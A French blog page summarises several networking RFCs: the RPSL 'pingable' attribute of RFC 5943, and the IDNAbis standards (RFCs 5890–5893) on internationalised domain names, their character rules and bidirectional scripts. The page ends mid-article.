Lorsqu'un nouveau réseau est connecté à l'Internet, il est parfois injoignable de certaines parties de l'Internet, par exemple parce que ses adresses IP sont illégalement utilisées par d'autres ou bien parce qu'il est filtré en raison d'une histoire antérieure. Les bonnes pratiques opérationnelles demandent donc la configuration d'un serveur ICMP qui répondre à des tests, par exemple depuis ping. Traditionnellement, l'existence de ce serveur était annoncé via les commentaires stockés dans la base d'un RIR (comme le commentaire remarks: pingable 2a01:190:1764:150::30 du réseau 2a01:190::/32). Ces commentaires n'étant pas analysables automatiquement par un programme, il était donc souhaitable de créer un nouvel attribut RPSL pour cela, pingable:.

Prenons l'exemple de l'allocation d'un nouveau préfixe à un RIR par exemple, l'allocation de 175/8 : le nouveau préfixe est souvent inaccessible depuis plusieurs parties de l'Internet, par exemple en raison de filtres anti-bogon. Il faut donc une étape de « débogonisation » où le préfixe sera annoncé par le RIR, des serveurs ICMP echo seront installés et testés. Lorsque les filtres anti-bogon auront été mis à jour, le test pourra cesser.

Notre RFC 5943 permet d'automatiser ce genre de tests en ayant un nouvel attribut dans la description en RPSL (RFC 4012) de la route vers le préfixe en question. Sa description complète figure dans la section 2 du RFC, avec cet exemple :

route6: 2001:DB8::/32
origin: AS64500
pingable: 2001:DB8::DEAD:BEEF
ping-hdl: OPS4-RIPE

(ping-hdl est le handle du contact technique de ce serveur de test).

Cet attribut a été mis en œuvre dans la base du RIPE en février 2011. Voyez par exemple l'objet route pour le préfixe 84.205.81.0/24. :

% whois -h whois.ripe.net 84.205.81.0/24
...
route:          84.205.81.0/24
descr:          RIPE-NCC-RIS BGP Anchor Prefix @ rrc01 - LINX
origin:         AS12654
pingable:       84.205.81.1
ping-hdl:       RISM-RIPE
...

Les processus qui testent les adresses pingable doivent prendre garde à ne pas surcharger le réseau en se limitant à un nombre raisonnable d'essais (section 3 du RFC). Naturellement, rien ne garantit que tous le feront et celui qui installe le serveur de test doit aussi déployer ses propres protections (section 4 du RFC).

L'adoption de ce nouvel attribut n'est pas allée de soi et on peut trouver un exemple des discussions qui l'ont accompagné dans les minutes de la réunion RIPE-60 (cherchez « E. A Dedicated RPSL Interface Identifier for Operational Testing »).


Téléchargez le RFC 5943


L'article seul

Nouvelle version d'IDN

Première rédaction de cet article le 22 août 2010
Dernière mise à jour le 2 novembre 2010


Une série de cinq RFC vient de sortir, représentant la nouvelle version de la norme IDN, permettant d'utiliser des noms de domaine en Unicode. Cette nouvelle version est officiellement nommée « IDNA 2008 » mais n'a pas respecté le calendrier original, qui était complètement irréaliste. Il vaut donc mieux l'appeler « IDNAbis ».

IDNAbis marque des changements importants dans les concepts sous-jacents (indépendance par rapport à la version d'Unicode, détermination de la liste des caractères autorisés selon un algorithme et non plus selon une table, suppression de l'étape de canonicalisation obligatoire, etc), mais les conséquences pratiques pour les utilisateurs seront faibles. L'écrasante majorité des noms de domaines légaux selon IDNA 1 le seront toujours avec IDNAbis, leur encodage en Punycode (RFC 3492) reste le même (donc, تونس sera toujours représenté sur le câble par xn--pgbs0dh et maçonnerie par xn--maonnerie-r3a), un certain nombre de chaînes de caractères seront désormais autorisées mais elles concernaient surtout des écritures peu répandues. D'autres, qui étaient autorisés (mais rarement utilisées) sont désormais interdites.

La liste des RFC qui forment IDNAbis comprend :

  • RFC 5890, « Internationalized Domain Names for Applications (IDNA): Definitions and Document Framework », donne les définitions des termes essentiels comme les nouveaux U-label (forme Unicode d'un nom légal) et A-label (forme Punycode d'un nom légal),
  • RFC 5894, « Internationalized Domain Names for Applications (IDNA): Background, Explanation, and Rationale », explique et justifie (fort mal, selon moi), le projet IDNAbis et ses concepts ; ce RFC n'est pas une norme, il n'est là que pour information,
  • RFC 5891, « Internationalized Domain Names in Applications (IDNA): Protocol  », est le cœur de la nouvelle norme, il décrit le protocole utilisé,
  • RFC 5892, « The Unicode code points and IDNA  », spécifie l'algorithme utilisé pour déterminer si un caractère est légal en IDNAbis, illégale ou bien si sa légalité dépend du contexte,
  • RFC 5893, « Right-to-left scripts for IDNA », expose les règles pour les noms de domaine dont une partie s'écrit de droite à gauche (par exemple en hébreu),
  • RFC 3492, « Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA) », faisait partie de IDNA 1 mais est inchangé pour IDNAbis.
  • RFC 5895, « Mapping Characters for Internationalized Domain Names in Applications (IDNA) 2008 », RFC non normatif (car contesté) sur la canonicalisation des noms de domaines. (Sur ce sujet, on peut aussi consulter le TR46 du consortium Unicode.)

IDNAbis est bien plus complexe que IDNA 1. Ce dernier ne comportait que trois RFC, le RFC 3490, décrivant le protocole, le RFC 3491 qui normalisait nameprep, l'algorithme de canonicalisation (cette étape a été abandonnée dans IDNAbis), et le RFC 3492, sur Punycode, le seul RFC survivant de IDNA 1.

Quels sont les changements par rapport à IDNA 1 ? La description la plus complète des changements figure dans l'annexe A du RFC 5891. Pour la résumer :

  • Le protocole est désormais indépendant de la version d'Unicode : tout changement dans Unicode est automatiquement disponible.
  • Les caractères de ponctuation et les symboles sont désormais presque tous exclus.
  • Il n'y a plus d'étape de normalisation standard. Chaque application est désormais libre d'effectuer la correspondance entre ce qu'a tapé ou sélectionné l'utilisateur et l'IDN envoyé sur le réseau.
  • Le modèle de sélection des caractères autorisés est passé de « entièrement manuel, caractère par caractère » à « essentiellement algorithmique, fondé sur les propriétés Unicode - avec un peu d'exceptions manuellement ajoutées ». C'est ce qui permet l'indépendance par rapport aux versions d'Unicode.

Mais IDNAbis reste largement compatible avec l'ancien IDN (même principe de fonctionnement, même Punycode, même préfixe xn--, beaucoup de règles communes). En pratique, les utilisateurs, et même les registres de noms verront peu de différences.

Quelles étaient les motivations pour créer un IDNAbis seulement quelques années après le premier ? Il y en avait plusieurs, pas toutes avouables. De fortes pressions de l'ICANN s'étaient exercées, notamment pour avoir un prétexte pour retarder l'introduction des IDN dans la racine (devenue effective en mai 2010). Il y avait aussi toute une campagne de FUD concernant un soi-disant rôle des IDN dans le hameçonnage. Très présente au début du projet, cette motivation, souvent répétée en des termes sensationnalistes (comme la répétition du terme ridicule de « caractères dangereux ») a été sérieusement édulcorée au fur et à mesure du travail du groupe idnabis de l'IETF (voir par exemple le compte-rendu de la réunion IETF de Philadelphie en mars 2008). Aujourd'hui, il n'en reste plus gère de trace dans les RFC.

D'autres motivations étaient plus consensuelles, comme le souhait d'avoir un IDNA indépendant de la version d'Unicode. Par exemple, IDNA 1 était lié à Unicode 3.2 et les écritures enregistrées par le consortium Unicode après la sortie de la 3.2 (comme le tifinagh) étaient donc interdites d'IDN. Ce point est désormais réglé.

Tout cela ne signifie pas que le résultat final fasse l'unanimité et, pour un bon résumé des questions qu'IDNAbis laisse ouvertes, on peut consulter la FAQ du consortium Unicode. Pour le point de vue des promoteurs d'IDNAbis, voir le RFC 5894.

Il ne semble pas exister encore beaucoup d'implémentations de IDNAbis mais ce n'est pas forcément dramatique : les différences pratiques entre les deux versions sont suffisamment faibles pour que, pour la plupart des caractères, utiliser une des nombreuses bibliothèques mettant en œuvre l'ancienne version soit suffisant. Sinon, la première mise en œuvre d'IDNAbis en logiciel libre semble être celle de Verisign et la seconde la GNU libidn dans sa version 2.


L'article seul

RFC 5892: The Unicode code points and IDNA

Date de publication du RFC : Août 2010
Auteur(s) du RFC : P. Faltstrom (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010


Dans l'ensemble des RFC sur la version 2 des IDN (appelée IDNAbis ou IDNA2008), ce document normalise les propriétés Unicode utilisées pour calculer la catégorie à laquelle appartient un caractère donné, catégorie qui déterminera s'il est autorisé dans un nom de domaine en Unicode. (Il a depuis été partiellement mis à jour par le RFC 8753.)

Le concept de catégorie est défini dans la section 1 (avertissement : le vocabulaire de IDNAbis est très flou et on trouve « catégorie » ou « propriété » pour ce concept, des termes d'autant plus malheureux qu'ils existent aussi dans Unicode avec un sens différent ; j'ai donc plutôt utilisé « statut »). Ce RFC 5892 contient les tables complètes de tous les caractères Unicode et de leur catégorie. Mais ces tables ne sont présentes qu'à titre d'information : IDNAbis est en effet indépendant de la version d'Unicode utilisée et la vraie norme est l'algorithme utilisé pour créer les tables, algorithme qu'il faut faire tourner pour chaque version d'Unicode, pour trouver la table effective.

IDNAbis repose sur un principe d'exclusion par défaut. Tout caractère est interdit, sauf s'il est autorisé (cf. RFC 4690). Cette autorisation dépend de ses propriétés Unicode, propriétés qui font partie de la norme Unicode. Par exemple, le U+00E9 (petit e accent aigu) est dans la catégorie Unicode Ll (lettres minuscules, presque toutes autorisées).

Le fait d'être dans la bonne catégorie des tables ne suffit pas : dans certains cas, IDNAbis met des contraintes aux combinaisons de caractères.

Quelles sont les catégories (ou statuts) possibles ?

  • PROTOCOL VALID dit PVALID, les caractères acceptés.
  • CONTEXTUAL RULE REQUIRED, pour des caractères acceptés sous condition, par exemple sur leur position dans le composant du nom de domaine. Il est abrégé en CONTEXTJ (caractères qui contrôlent l'attachement de deux mots comme le U+200D, Zero-width joiner) ou CONTEXTO (les autres).
  • DISALLOWED, les caractères interdits.
  • UNASSIGNED, les points de code pas encore affectés dans la norme Unicode, interdits aujourd'hui mais qui, selon leurs propriétés, pourraient devenir autorisés dans le futur.

Le classement d'un caractère dans une de ces catégories dépend de l'algorithme décrit plus loin. Une liste d'exceptions maintenue manuellement (section 2.6) permet d'ajuster le résultat, une autre liste manuelle permet de maintenir la stabilité (d'empêcher un caractère de changer de catégorie).

La section 2 décrit les catégories utilisées pour classer les caractères (à ne pas confondre avec les catégories IDNA, comme PVALID, décrites plus haut) et les propriétés utilisées (elles ne sont pas mutuellement exclusives) :

  • Lettres & Chiffres (section 2.1) : le caractère a une catégorie Unicode dans l'ensemble {Ll, Lu, Lo, Nd, Lm, Mn, Mc}. Par exemple Ll désigne les lettres minuscules, ainsi le êta grec, ͱ (U+0371) est dans cette catégorie (sa définition dans la base Unicode étant 0371;GREEK SMALL LETTER HETA;Ll;0;L;;;;;N;;;0370;;0370).
  • Instables (section 2.2) : le caractère ne survit pas à une normalisation NFKC avec un changement de casse. La plupart de ces caractères ne seront pas autorisés.
  • Propriétés qu'on peut ignorer (section 2.3) : ces caractères ont des propriétés qui font qu'on peut les ignorer pour les noms de domaines (par exemple les caractères d'espacement, propriété Unicode White_Space).
  • Blocs qu'on peut ignorer (section 2.4) : des blocs entiers des tables Unicode peuvent être ignorés comme le bloc des symboles utilisés en musique qui va de U+1D100 (𝄀) à U+1D1FF.
  • LDH (Letters-Digits-Hyphens), les caractères ASCII traditionnellement utilisés dans les noms de machine (section 2.5).
  • Des exceptions, définies manuellement, pour le cas où les propriétés Unicode ne donnent pas le bon résultat (section 2.6). Ainsi, après de très longues discussions dans le groupe de travail, le ß allemand, le ς grec et le ་ tibétain (ce dernier, le tsheg, a été l'objet du débat le plus aveugle puisqu'aucun expert de cette écriture n'était présent) ont été manuellement autorisés (alors qu'ils auraient été interdits en appliquant l'algorithme). Par contre, les chiffres indo-arabes, qui auraient été autorisés inconditionnellement, sont maintenant autorisés uniquement dans certains contextes (voir le RFC 5564 pour une discussion sur ces chiffres).
  • Compatibilité (section 2.7) : cette catégorie est actuellement vide. Mais, dans les futures versions d'Unicode, des changements des propriétés pourraient faire passer des caractères de PVALID à DISALLOWED ou le contraire. Ils seront alors mis dans cette catégorie pour conserver leur ancien statut.
  • Contrôle du collage entre caractères (section 2.8). Cette catégorie regroupe les caractères « gluons » qui servent à coller des caractères ou des mots qui seraient normalement séparés. Certaines écritures (par exemple les indiennes) en font un grand usage.
  • Vieil Hangul (section 2.9), une catégorie très ad hoc pour des caractères utilisés en Corée.
  • Et enfin, la dernière catégorie, celle des caractères non actuellement affectés (section 2.10) mais qui pourraient l'être dans les futures versions d'Unicode.

Bien, on a dix catégories. Comment les utilise t-on pour déterminer si un caractère est acceptable ou pas ? C'est l'objet de la section 3, qui indique cet algorithme en pseudo-code. Je n'en donne qu'une partie ici :

SI le caractère est dans les Exceptions, sa propriété IDNA est donnée
par la table Exceptions
...
SINON SI le caractère est dans LDH, alors il est PVALID
...
SINON SI le caractère est dans les Blocs Ignorables alors il est
DISALLOWED
...
SINON SI le caractère est dans les Lettres & Chiffres, alors il
est PVALID

SINON SI (cas par défaut) il est DISALLOWED

La section 4 insiste sur le fait que la liste des caractères faisant foi est celle calculée par l'algorithme ci-dessus. La liste fournie dans ce RFC 5892, en annexe B, n'est là que pour information (en effet, chaque nouvelle version d'Unicode modifiera les tables).

On a vu que le sort d'un caractère dont le statut est CONTEXT nécessite de regarder une table. Celle-ci est définie dans la section 5.2 et sa syntaxe figure dans l'annexe A. Elle est hébergée à l'IANA.

Enfin, même si elle n'a pas de caractère normatif (cf. RFC 8753), la plus grande partie du RFC est formée par l'annexe B, qui donne l'état actuel des tables de caractères avec leur statut.

Comme indiqué plus haut, les tables figurant dans le RFC ne sont pas normatives, seul l'algorithme l'est. En pratique, les tables ont été produites par un programme écrit par l'auteur du RFC qui ne le distribue pas (malgré plusieurs demandes). J'ai refait une mise en œuvre incomplète (manque de temps) de l'algorithme qu'on peut récupérer en create-idnabis-tables.py.


Téléchargez le RFC 5892


L'article seul

RFC 5893: Right-to-left scripts for Internationalized Domain Names for Applications (IDNA)

Date de publication du RFC : Août 2010
Auteur(s) du RFC : H. Alvestrand (Google), C. Karp (Swedish Museum of Natural History)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010


Le fait que certains systèmes d'écriture soient de gauche à droite (comme celui utilisé pour ce texte) et d'autres de droite à gauche ne pose pas de problèmes lorsque le texte est entièrement dans un sens ou dans l'autre. Mais, si on les mélange, on arrive parfois à des résultats surprenants. Dans le contexte des noms de domaine, cela peut mener à rendre leur utilisation difficile. C'est pour cela que l'ancienne norme IDNA 1 limitait ce mélange (RFC 3491, section 6, qui référence RFC 3454, section 6). Les limitations étaient un peu trop strictes et sont légèrement libéralisées par ce nouveau RFC 5893, qui fait partie de la nouvelle norme IDNAbis. Le changement est faible en pratique, la plupart des noms autorisés restent autorisés. En dépit d'une fréquente utilisation de weasel words par ce RFC (comme « sûr » en section 1.3), il n'y a pas de conséquences, qu'elles soient positives ou négatives, pour la sécurité (malgré ce que raconte la section 9 du RFC).

On peut résumer l'ancienne norme (cf. section 1.2 de notre nouveau RFC) en disant que tout composant d'un nom de domaine ne devait pas inclure des caractères de directionnalité différente (par exemple de l'alphabet grec et de l'alphabet arabe) et qu'il devait commencer et se terminer par des caractères ayant une directionnalité déterminée (les chiffres arabes, par exemple, n'ont pas de directionnalité déterminée). Notons qu'il y a deux poids et deux mesures : les noms de domaine traditionnels en ASCII n'avaient pas cette limite et, par exemple, 7-septembre ou 3com sont des composants autorisés.

Il est prudent de relire la section 1.4 sur la terminologie, car tout le monde n'est pas expert BIDI. Soit on apprend par cœur le difficile UAX#9, la norme officielle du BIDI, soit on révise rapidement dans ce RFC les points importants :

  • Les caractères Unicode ont tous une propriété BIDI : directionnalité de gauche à droite (les caractères de l'alphabet grec, par exemple), directionnalité de droite à gauche (les caractères de l'alphabet arabe), chiffres arabes (qu'Unicode appelle EN pour European Number, comme 0, 1 ou 2, ils sont sans directionnalité puisqu'ils sont utilisés dans des alphabets des deux modèles), chiffres indo-arabes (qu'Unicode appelle AN pour Arabic Number, comme ١ (1) ou ʛ (7) et qui ont une directionnalité dite « faible »), etc.
  • Les chaînes de caractères ont deux ordres : l'ordre du réseau, qui est celui dans lequel les caractères de la chaîne ont été tapés, ou bien dans lequel ils sont transmis sur le réseau, et l'ordre d'affichage, qui est celui dans lequel ils sont présentés à des lecteurs humains. Lorsque le RFC parle d'ordre ou bien utilise des termes comme « premier » ou « dernier », c'est en général en référence à l'ordre du réseau,

Armé de ces définitions, on peut arriver au cœur du RFC, la section 2. Elle formalise les règles que doivent suivre des composants de noms de domaine internationalisés :

  • Le composant d'un IDN doit commencer par un caractère de directionnalité forte (donc pas par un chiffre, cf. section 4.3 et 7.1) ; ce caractère détermine si le composant est gauche-à-droite ou droite-à-gauche,
  • Dans un composant droite-à-gauche, seuls sont permis les caractères de directionnalité droite-à-gauche ou bien sans directionnalité (comme les chiffres). Ainsi, مدقق-XML-المدمج (tiré de la documentation en arabe de SPIP) serait interdit, à cause du sigle en caractères latins (même si la présence de tels sigles est très courante dans les textes techniques en arabe),
  • Le caractère final peut être sans directionnalité (on peut finir par un chiffre),
  • Le mélange des chiffres arabes et indo-arabes dans un même label est interdit (notons que cette règle était déjà dans le RFC 5564) : les chiffres indo-arabes sont interdits dans un composant gauche-à-droite,
  • Et je passe quelques règles plus subtiles.

Ce RFC 5893 propose également des justifications pour le choix de ces règles, sous forme de critères que devraient respecter tous les noms de domaine en Unicode (section 3) :

  • Unicité du composant : deux composants distincts, affichés dans le même paragraphe, ne doivent pas avoir le même affichage. Sans les règles plus haut, les composants 123 et 321, par exemple, pourraient s'afficher de manière identique, si le second est précédé de caractères droite-à-gauche. L'interdiction des chiffres (caractères sans directionnalité) au début d'un composant découle de ce critère.
  • Regroupement des caractères : les caractères d'un même composant doivent rester groupés, ce qui ne serait pas le cas si on permettait le mélange de caractères de directionnalité différentes.

Dans le cours de la discussion sur IDNAbis, d'autres critères avaient été suggérés mais n'ont finalement pas été retenus :

  • Constance de l'apparence : un composant doit être affiché de manière identique dans un contexte de gauche-à-droite et dans un contexte de droite-à-gauche : c'est un résultat trop difficile à obtenir dans le contexte de l'algorithme BIDI,
  • L'ordre des composants d'un nom doit rester identique quel que soit le contexte d'affichage ; ce critère aurait mené à des tests inter-composants, peu réalistes (puisque ce sont des registres différents qui sont impliqués pour chaque niveau du nom, avec des règles différentes),
  • Unicité du nom de domaine : deux noms différents ne devraient pas être affichés de manière identique ; objectif impossible à atteindre : ABC.abc sera affiché abc.CBA dans un contexte droite-à-gauche, et le nom différent abc.ABC sera affiché de manière identique dans un contexte gauche-à-droite.

Arrivé là, on a toutes les règles (la fin de la section 3 les reformalise de manière plus rigoureuse). La section 4 donne simplement des exemples de cas où les règles des RFC 3454 et RFC 3491 donnaient des résultats peu satisfaisants. Ainsi, la langue divehi, qui s'écrit avec un alphabet proche de l'arabe, le Thaana, a tous ses mots qui se terminent par un caractère Unicode combinant (un accent, disons en simplifiant). « Ordinateur » se dit en dhivehi « ކޮންޕީޓަރު » et le dernier caractère, U+07AA est l'ubu fili, un caractère (pas une lettre) sans directionnalité, qui aurait été rejeté par IDNA 1 (section 4.1).

Un problème analogue se pose en yiddish. Ainsi, l'organisation qui normalise les règles d'écriture du yiddish s'écrit « יִואָ » et le dernier caractère, U+05B8, n'est pas une lettre (section 4.2).

Il n'existe pas de solution technique aux problèmes d'affichage BIDI, l'ensemble des situations possibles étant trop vaste. Il ne faut donc pas croire qu'appliquer les règles de ce RFC suffira à être tranquille. La section 5 donne quelques exemples, par exemple un nom de plusieurs composants, où un composant un IDN (satisfaisant les règles de ce RFC), précède des noms ASCII commençant par un chiffre : المغربية.3com.com va ainsi être affiché d'une manière déroutante (cela devrait être ‏المغربية‎.3com.com). Ce nom n'est pas interdit (alors que c'était l'ambition initiale du groupe de travail idnabis) car il existe déjà beaucoup de noms ASCII commençant par un chiffre, et car la combinaison de composants pour former un nom est parfois réalisée automatiquement (par exemple via la directive search dans /etc/resolv.conf), ne laissant pas de possibilité de contrôle, et enfin parce que les jokers du DNS (encore eux) peuvent faire qu'un nom peut être résolu sans avoir été enregistré (et donc vérifié)...

La section 6 liste d'ailleurs quelques autres problèmes comme le fait que le mélange de chiffres arabes et de chiffres indo-arabes est interdit, mais que le mélange de chiffres bengalis et chiffres gujaratis n'est pas mentionné... Le cas doit être traité par le registre (par exemple celui de .IN).

Les règles de ce RFC étant nouvelles, il y a potentiellement des problèmes avec les anciens noms. La section 7.1 analyse les questions de compatibilité. La 7.2 se préoccupe au contraire du futur en constatant que les propriétés BIDI ne font pas partie des propriétés qu'Unicode s'engage à ne pas modifier et que donc, dans le futur, un changement de propriétés BIDI pourrait rendre invalides des composants valides et réciproquement.

Les IDN BIDI posent-ils des problèmes de sécurité particuliers ? C'est ce que laisse entendre Patrik Fältström dans son article « Mixing different scripts is hard », qui est franchement tendancieux. Si les exemples donnés d'affichage BIDI suprenants sont amusants intellectuellement, il n'est jamais démontré que cela puisse avoir des conséquences de sécurité. La section 9 de ce RFC 5893, consacrée à ce sujet, ne fournit pas d'éléments nouveaux, à part de vagues accusations.


Téléchargez le RFC 5893


L'article seul

RFC 5891: Internationalized Domain Names in Applications (IDNA): Protocol

Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Klensin
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010


L'ensemble des RFC sur la deuxième version d'IDN couvre la terminologie (RFC 5890), les tables de caractères autorisés (RFC 5892), les justifications des choix effectués (RFC 5894) et, dans ce RFC 5891, le protocole lui-même, utilisé pour l'enregistrement et la lecture des noms de domaine.

Ces RFC « IDNAbis » remplacent donc les RFC 3490 et RFC 3491 mais pas le RFC 3492, Punycode continuant à être l'encodage utilisé pour les IDN, avec le même préfixe, xn--. Le principe reste le même : comme les règles pour les noms de machine (mais pas pour les noms de domaine) imposent l'utilisation des seuls caractères US-ASCII, comme il n'est pas question de mettre à jour toutes les plate-formes utilisées, IDN fonctionne en encodant les noms de domaines Unicode en ASCII, grâce à l'algorithme Punycode. L'infrastructure n'est donc pas modifiée mais on peut présenter aux utilisateurs le vrai nom en Unicode, quitte à le traduire lors du passage sur le réseau. (Officiellement, IDNAbis est nommé IDNA 2008 mais ce nom est incorrect, le protocole n'ayant pas été terminé en 2008.)

La section 3 précise ce fonctionnement en exigeant qu'un nom de domaine utilisé comme tel (i.e. comme élément d'un protocole, pas lorsqu'il est simplement cité dans du texte libre), doit être encodé en ASCII lorsqu'on parle aux applications non-IDN, et que la comparaison entre deux noms de domaine (pour voir s'ils sont égaux) doit se faire entre deux formes Unicode ou deux formes ASCII mais pas en mélangeant les deux. Dans IDNAbis, le passage de la forme Unicode (U-label) à la forme ASCII (A-label) et en sens inverse se fait sans perte d'informations. Les deux comparaisons sont donc équivalentes. Comme beaucoup de protocoles utilisent des noms de domaine, les IDN affectent potentiellement beaucoup de monde. Sauf si le protocole le prévoit explicitement (ce qui est le cas des IRI du RFC 3987), les IDN doivent donc être mis sous leur forme ASCII. Idem pour les requêtes et réponses effectives faites avec le DNS.

Petit détail au passage. On trouve souvent des noms de domaine dans la partie droite d'un enregistrement DNS, par exemple dans le champ RNAME d'un SOA, qui indique l'adresse de courrier du responsable de la zone). Comme le rappelle la section 3.2.2, IDN ne change pas ces champs qui restent actuellement en pur ASCII, en attendant un futur RFC (le RFC 6530 ne suffit pas).

Passons maintenant aux deux protocoles utilisés par IDNAbis, le protocole d'enregistrement et le protocole de résolution. Le premier est décrit dans la section 4. Il concerne l'enregistrement d'un nom de domaine Unicode auprès d'un registre (attention, un registre ne gère pas forcément un TLD, ce protocole concerne tous les registres, même, par exemple, celui de bortzmeyer.org).

Donc, première étape, le registre reçoit un nom en Unicode (section 4.1). Il doit être normalisé en NFC et peut être encore normalisé selon des règles locales (cf. RFC 5895). Ce nom peut être transmis directement en Unicode (« U-label ») ou bien encodé en Punycode (« A-label »). Le RFC recommande de joindre la forme Punycode (voire uniquement celle-ci) mais il n'y a aucune justification technique à ce choix, c'est juste du FUD anti-Unicode.

Le registre doit ensuite vérifier que le nom est correct techniquement (section 4.2). Ainsi, il faut tester que la conversion U-label -> A-label et retour redonne bien le meme nom et, si uniquement une forme Punycode est reçue, qu'elle est bien légale (toute chaîne de caractères commençant par xn-- n'est pas forcément du Punycode). Les caractères interdits doivent être absents (cf. RFC 5892).

À côté des règles absolues (« le caractère ; est interdit »), il existe également des règles contextuelles comme l'interdiction du caractère Katagana U+30FB sauf dans les écritures utilisées au Japon (cf. RFC 5892). Enfin, si le nom comporte des caractères dont la directionnalité est de droite à gauche (cas de l'écriture arabe), il faut également suivre les prohibitions du RFC 5893.

Notons que les interdictions de ce RFC 5891 ne sont qu'un minimum. Un registre peut toujours ajouter ses propres règles comme de n'accepter que les caractères qui sont utilisés pour la langue locale, ou bien pour interdire des mots considérés comme grossiers.

Après ce parcours du combattant, le nom est enregistré. Reste à le résoudre via une requête DNS. C'est l'objet de la section 5, sur le protocole de résolution. Ce dernier effectue moins de tests puisqu'ils sont censés avoir été faits à l'enregistrement. Notez toutefois que ce n'est pas un argument très solide : non seulement il peut exister des registres qui ne font pas les tests ou bien les font mal mais la seule existence des jokers dans le DNS (RFC 1034, section 4.3.3) permet à un nom non enregistré d'« exister » quand même.

Bref, pour résoudre un IDN, le client doit donc convertir en Unicode (en effet, l'environnement de départ n'utilisait pas forcément Unicode, cela pouvait être, par exemple, Latin-1) et le normaliser en NFC. Ensuite, il teste que les caractères Unicode présents sont bien autorisés (section 5.4). Il est à noter que le résultat de ce test dépend de la version d'Unicode utilisée par le client (probablement via des bibliothèques standard fournies par le système d'exploitation). Ainsi, un nom de domaine utilisant un caractère très récemment affecté par Unicode pourrait être refusé par beaucoup de clients IDN.

Enfin, le client IDN convertit le nom en Punycode et termine par une résolution DNS normale (sections 5.5 et 5.6).

La section sur la sécurité, obligatoire dans les RFC, mentionne le risque de confusion entre des caractères similaires (un FUD classique contre IDN) mais ne fournit pas de solution dans le protocole. Elle compte sur les registres pour ne pas accepter les noms problématiques.

L'annexe A dresse la liste des différences avec la première version d'IDN. Je cite notamment :

  • Au lieu de dépendre d'une version spécifique d'Unicode (la 3.2 pour IDNA 1), le protocole est désormais indépendant de la version : tout changement dans Unicode est automatiquement disponible.
  • Les protocoles pour l'enregistrement d'un nom et sa résolution sont désormais séparés (et légèrement différents).
  • Les caractères de ponctuation et les symboles sont désormais presque tous exclus.
  • Il n'y a plus d'étape de normalisation standard comme l'était le nameprep du RFC 3491. Seul reste le NFC. D'une manière générale, chaque application est désormais libre d'effectuer la correspondance (mapping) entre ce qu'a tapé ou sélectionné l'utilisateur et l'IDN (cf. RFC 5895 pour un exemple).
  • Le modèle de sélection des caractères autorisés est passé de « entièrement manuel, caractère par caractère » à « essentiellement algorithmique, fondé sur les propriétés Unicode - avec un peu d'exceptions manuellement ajoutées ». C'est ce qui permet l'indépendance par rapport aux versions d'Unicode.
  • La validité d'un caractère peut désormais dépendre du contexte (ce qui complique sérieusement la vérification).
  • Nouvelles règles « bidi ».
  • Largement compatible avec l'ancien IDN (même Punycode, même préfixe, beaucoup de règles communes) mais pas totalement (certains noms légaux deviennent invalides).

Pour un point de vue critique sur IDNA bis, on peut consulter le Unicode Technical Standard #46, « Unicode IDNA Compatibility Processing », qui remet notamment en cause le soi-disant rôle d'Unicode dans le hameçonnage. Une critique de cette critique a été publiée en Review of Unicode TR#46.


Téléchargez le RFC 5891


L'article seul

RFC 5890: Internationalized Domain Names for Applications (IDNA): Definitions and Document Framework

Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Klensin
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010


La nouvelle norme pour les noms de domaine écrits en Unicode, nommée IDNA2008, modifie les règles qui s'appliquent à ces IDN. Elle est composée de plusieurs RFC dont ce RFC 5890, qui fixe la terminologie.

Dans cette nouvelle version, sur laquelle le travail a commencé en 2008 (d'où son nom officiel d'IDNA2008, cf. section 1.1), la norme est plus riche et plus complexe. Le seul RFC des définitions fait 29 pages. Elle remplace IDNA 1, ou « IDNA2003 » (l'ancienne norme, dans les RFC 3490 et RFC 3491). Elle crée notamment les nouveaux termes de U-label (composant de nom de domaine en Unicode) et de A-label (composant de nom de domaine internationalisé encodé selon l'algorithme Punycode du RFC 3492). Contrairement à d'autres normes de l'IETF, elle n'est pas indispensable que pour les programmeurs, mais aussi pour ceux qui, par exemple, décident des politiques d'enregistrement des registres.

Quels sont les RFC qui composent IDNA2008 ? La section 1.3 donne la liste officielle :

  • Ce document, le RFC 5890, qui donne les définitions.
  • Le RFC 5894, de justification des choix effectués, et qui fournit aussi des avis sur les politiques d'enregistrement. Il n'a pas statut de norme et reflète des opinions peu consensuelles sur les IDN.
  • Le RFC 5891 qui normalise le protocole.
  • Le RFC 5893, spécifique aux questions posées par les écritures de droite à gauche,
  • Le futur RFC sur les fonctions qui transforment un nom de domaine avant de le passer à IDNA, par exemple pour mettre en œuvre les équivalences entre deux caractères.
  • Et enfin la liste des caractères autorisés, dans le RFC 5892. C'est une des grandes nouveautés, puisque, contrairement à la précédente version, elle ne dépend plus d'une version particulière de la norme Unicode.

La section 2 est ensuite consacrée aux mots-clés de IDNA2008 (attention à ceux qui connaissaient l'ancienne norme, le vocabulaire est souvent nouveau). Les RFC de IDNA2008 utilisent également un vocabulaire non-spécifique aux IDN mais qui est rappelé en section 2.2. Ainsi, un registre désigne toute organisation qui enregistre des noms de domaine, même si elle ne gère pas un TLD (je suis le registre de bortzmeyer.org). LDH (Letters Digits Hyphen) désigne les caractères ASCII qui sont traditionnellement autorisés dans les noms de machine (RFC 1123). Notez bien que les noms de domaine, contrairement à ce qu'écrivent beaucoup d'ignorants, ne sont pas limités à LDH.

La section 2.3 introduit les termes spécifiques à IDN. Par exemple :

